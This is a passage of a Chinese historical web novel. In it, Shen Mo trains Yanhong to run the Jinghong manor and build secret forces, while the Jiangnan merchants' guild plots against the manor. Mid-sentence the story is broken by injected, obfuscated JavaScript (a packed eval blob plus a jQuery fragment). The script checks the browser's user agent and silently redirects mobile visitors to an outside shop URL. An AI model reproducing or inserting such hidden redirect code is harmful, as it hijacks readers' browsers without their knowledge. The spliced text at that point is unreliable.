“让我……自己选？”嫣红嫣红有些茫然地看着镜中的沈墨与自己，她的声音里夹杂着一丝不确定和期待，但很快又沉寂下去。沈墨轻轻地点了点头，嘴角勾起一抹鼓励的微笑：“从前我已替你决定了太多，此番，我也不该勉强你。”
嫣红闻言，缓缓伸出手，指尖轻轻触碰着镜面，看着镜中两张熟悉的脸，仿佛是在确认此时此刻是否真实。镜中的自己，也似乎在以同样的眼神回望。“可是……妾身从没自己选过……”嫣红的声音里带着一丝忐忑，又有几分不知所措，“妾身是风尘出身……从初时便身不由己，所幸得楼主庇护，又蒙郎君相救，才有今日……”
“红儿。”沈墨将手轻轻搭在嫣红的肩膀上，似乎是真鼓励，又好像是在安慰，“你无需考虑太多，只要直面你的心意便可。”
嫣红感受到沈墨掌心的温暖，那温度仿佛穿透了她的衣衫，直达心底，让那颗因长久依赖而略显僵硬的心，渐渐柔软起来。她抬头望向镜中的沈墨，轻启朱唇：“当郎君来救起妾身的那一刻，妾身觉得……好欢喜，与郎君在一起时，仿佛是……已经与他熟识了许久一般……”
说到这里，嫣红的脸颊悄然爬上了两朵红云，眼中闪烁着前所未有的光芒。“或许，这便是缘分使然吧。”她轻声细语，像是在对沈墨说，更像是在对自己说，“妾身愿为郎君的大业尽一份力，何况，我也想留在遥儿身边。虽然他不是我的亲生孩子，但多少也让我感受到了做一个母亲的乐趣。”
柳遥是柳思鸿秘密抱养的孩子，对外都宣称是他与嫣红的亲生儿子，平时由奶娘照看。嫣红虽然不能生育，但也有为人母的渴望，对柳遥一向视如己出，爱护有加。沈墨沉默了片刻，背身走到一旁，这才道：“要留在这山庄主持大局，那今后，谁也不能成为你的依靠，包括我。代夺回江南商事大权后，我与郎君便会回到京城，进行下一步计划，而这山庄，便会真正交到你手里——你，可有决心？”
嫣红闻言，心中涌动的情感复杂难辨。她凝视着沈墨的背影，那份坚定与决绝让她既感到压力，又莫名生出一种前所未有的勇气和动力。她缓缓站起，身姿挺拔，仿佛在这一刻，她不再是那个曾经柔弱无助的风尘女子，而是能够独当一面的女中豪杰。
“楼主放心，红儿虽为女子，却也知滴水之恩，涌泉相报。楼主与郎君对妾身有大恩，又肯信任于我，我定当竭尽全力，守护好这山庄，守护好遥儿，不让任何人有机可乘。”嫣红的声音虽轻，却字字铿锵有力，透露出不容置疑的决心。
沈墨转过身来，眼中似乎露出一丝欣慰，但眼底又似埋着深深的隐忧。他缓缓走到嫣红面前，再次轻轻伸手替她梳理发丝：“红儿，我相信你。你的坚韧与智慧，足以让你成为任何人的依靠。只是，你也要记得，无论何时何地，你都不是孤单一人。我，还有风月楼的每一个人，都会是你最坚实的后盾。”
嫣红的眼中闪过一丝感激，她深深吸了一口气，似乎是要掐断心底的那份软弱：“楼主，妾身明白，振兴惊鸿山庄不仅是楼主的目标，也是郎君的期望。”嫣红的声音坚定而有力，“妾身会尽心尽力，让这山庄成为我们在江南的坚实堡垒。”
沈墨点了点头，脸色变得有些严肃，但声音依旧温和：“过几日我安排的人手就会到达庄中，在江南事了之前，你便同我学习如何经营这山庄，如何送往迎来，如何将这山庄人心牢牢把握在手中。”
嫣红微微颔首，心中涌起一股前所未有的责任感。她知道，从此刻起，她将不再是那个依赖他人、任人摆布的风尘女子，而是要成为能够独当一面的山庄主人。
“楼主，妾身定不负所托。”嫣红的声音中充满了坚定与自信。
沈墨微微一笑，眼中闪过一丝赞许：“红儿，你我之间无需多言。从今往后，这山庄便是你的家，也是你的战场。你不仅要学会如何经营，还要学会如何应对各种危机。”
嫣红轻轻点头，她知道江南商事大权的争夺，绝非易事，她必须做好万全的准备。接下来的日子里，嫣红全身心地投入到了山庄的事务中，沈墨则以前来探望的远房表哥的名义在惊鸿山庄中自由来去。沈墨亲自传授嫣红如何管理账目、调配人手，并亲自整理了江南商会及其他江南的商户、票号等种种信息，同嫣红一起分析，教授她如何与各方势力周旋。嫣红天资聪颖，加之对沈墨的深厚信任与钦佩，学习起来格外用心，进步神速。她不仅将沈墨传授的知识融会贯通，还时常能提出独到见解，让沈墨也不禁刮目相看。
与此同时，沈墨安排的各路人手也逐渐到位，除了沈墨从风月楼抽调的苏奕等人，还有一些本就在江南一带活动的暗卫，其中有擅长武艺的护卫，有精通医术的药师，还有熟悉江南商情的商人，山庄内外的事务开始井然有序地运转起来。在山庄的众人眼中，虽然庄主柳思鸿一直“重病在床”，但嫣红夫人却以惊人的手腕和智慧，将山庄打理得井井有条，不由得都对这位看似柔弱的夫人生出了一丝敬畏。初步树立威信、安插人手后，沈墨自然不再客气，他开始以嫣红之名着手整顿山庄内外的秩序，将那些无用的人手一一清理出去，当然，他也悄无声息地拔除了一些潜藏在山庄内部的奸细，同时不断对外散播惊鸿山庄的各路真假消息，让外人无法摸清山庄的真实动向。
当然，夜郎君这边也并未闲着。沈墨之所以选择苏奕担任惊鸿山庄的管家，除了他武艺不俗，手段干脆之外，更因为他擅长招揽人手，并使他们心甘情愿地为己所用。沈墨动用重金修葺了山庄后的演武场与武馆，苏奕则迅速招揽了一批死士，由黑鸢与青鹄带领，秘密在夜郎君的指导下展开训练。平日里，这些死士混杂在庄丁之中，保证庄内的防务，在关键时刻则能迅速集结，成为山庄的中坚力量，随时能执行首领所下达的秘密任务。
随着山庄内外的秩序逐渐稳固，嫣红在沈墨的指导下，开始着手处理更为复杂的事务，不仅加强了与各大商行的联系，也与官府搭上了几条线。惊鸿山庄的这一系列动作，自然在江南也掀起了不小的风波，江南商会所在的临江城中，街头巷尾也不免多了许多流言。这些流言蜚语，有的赞誉嫣红夫人的果敢与智慧，称她为江南商界的新星；有的则揣测苏奕的真实身份，以及他与嫣红之间的微妙关系。然而，无论外界如何议论纷纷，惊鸿山庄内部却如同铁桶一般，密不透风，让人难以窥探其真实面貌。
这时的江南商会会馆中，会长康天禄正听着自己的副手骆远汇报着惊鸿山庄的种种动向，眉头微锁，有些烦躁地道：“柳思鸿这小子，不知又在玩什么名堂。前些年，他私下多次动作，想重回商会主事，都是不了了之，这几年，想来心气也被磨得平了，许久未曾生事。这回他称病不出，让夫人打理山庄，手段不凡，莫非突然得了什么强援？”
骆远拿着账册侍立在一旁，分析道：“柳思鸿往日行事虽不乏手段，但多显浮躁，难以持久，此次确实透着几分不同寻常。惊鸿山庄过去家大业大，但明眼人都看得出来，他们早已不是江南商界的主人了。何况……兰亭山庄那边，早已下定决心，要让他们不能翻身，柳思鸿一直不敢放手一搏，只是守着剩下的家业过日子。可自从惊鸿山
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227967|151291||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
庄换了新管家后，柳思鸿好像突然变了性子，行事雷厉风行，清除积弊，虽然暂时还未将手伸到临江城中，但想来也不远了。”
康天禄点了点头，眼中闪过一抹深思：“惊鸿山庄的新管家苏奕，倒是个人物，此人来历不明，手段却十分高明，不可不防。江南商界历来波谲云诡，各大家族势力盘根错节，惊鸿山庄此举，怕是意在重新洗牌，不容小觑。若是他柳思鸿执意掀桌，我们也不能坐视不理，任由局势失控。骆远，你需继续密切监视惊鸿山庄的一举一动，同时，与那几位联系一番，好商量对策。”
两人正商议间，一名下人急急进屋，通报道：“老爷，永安商行薛掌柜急着求见。”
康天禄显得有些烦恶，骆远忙劝道：“薛掌柜必定是为了天华银号一事来的，不好不见。”康天禄无奈地摆了摆手，示意下人将薛掌柜请进来。片刻之后，薛弘和匆匆步入会馆，脸色黑的可怕，一进门，便高声道：“康会长，之前说好的，天华银号被你们想法子挤倒之后，那块门面与银号生意便归我所有，怎么兰亭山庄的崔大管家答应好的事，都能打了水漂，莫非是嫌我永安商行出力不够多？”
康天禄脸色微沉，但还是示意骆远先为薛弘和上茶，自己则缓缓站起身，踱步至窗边，望着窗外，似乎在斟酌言辞。“薛掌柜稍安勿躁，天华银号不肯配合商会的策略，硬要同兰亭山庄较劲，不免落了下风，到如今的下场，本来已无力继续经营，应交予我们商会接手。但这件事中途生变，突然有神秘人出高价将整个银号买下，这也是意料之外的嘛。”他转过身，语气平和却带着不容置疑的威严，“天华银号之事，是我们江南商会共同商议的结果，至于兰亭山庄那边……但商场之上，变数诸多，他们若真有难言之隐，我们也不能强求。"
薛弘和一听，仍难掩不满之色：“康会长，我永安商行虽非江南商界之首，但也算得上是中流砥柱，此番协助商会，实是诚意满满。若最终落得一场空，我薛某人颜面何存，又如何在业界立足？”
康天禄轻叹一声，缓缓走到薛弘和面前，拍了拍他的肩膀“薛掌柜，江南商会向来秉持公平公正的原则，绝不会让任何一位盟友吃亏。至于天华银号后续之事，我们不妨再商议一个更为稳妥的方案，确保各方利益均沾。”
骆远见状，适时插话道：“薛掌柜，您且放心，我们康会长历来以大局为重，定会妥善处理此事。最近惊鸿山庄动作颇多，天华商会之事，我们怀疑有人暗中作祟。”
“惊鸿山庄？柳思鸿？”薛弘和不耐烦地拍了拍桌子，“康会长，我们明人不说暗话，惊鸿山庄柳家早已式微，兰亭山庄蓝家对他们穷追猛打，柳家连在江南商会中办事都不利索，哪里还有如此财力？我看，是有有心之人，暗中在我们商会搞鬼。”
康天禄微微一笑，眼中闪过一丝深不可测的光芒：“薛掌柜，你所言不无道理。惊鸿山庄的确已非昔日，但江湖之大，风云变幻，不可不防。或许柳思鸿背后有其他势力支持，亦未可知。无论如何，我们不能让局势失控，必须尽快查明真相。”
薛弘和面色稍缓：“康会长所言甚是。不过，我们永安商行也不能白白付出，若能查出幕后之人，定要让他们付出代价。”
康天禄沉吟片刻，缓缓说道：“此事我会亲自过问，骆远，你即刻着手调查天华银号被神秘人收购的幕后真相，召集几位商行掌柜，明日到会馆商议，绝不能让此人在这临江城中落地生根。同时，惊鸿山庄那边，也不可放松，马上加派人手，详查那苏奕的来历，紧盯柳思鸿与他那夫人的一切动向。”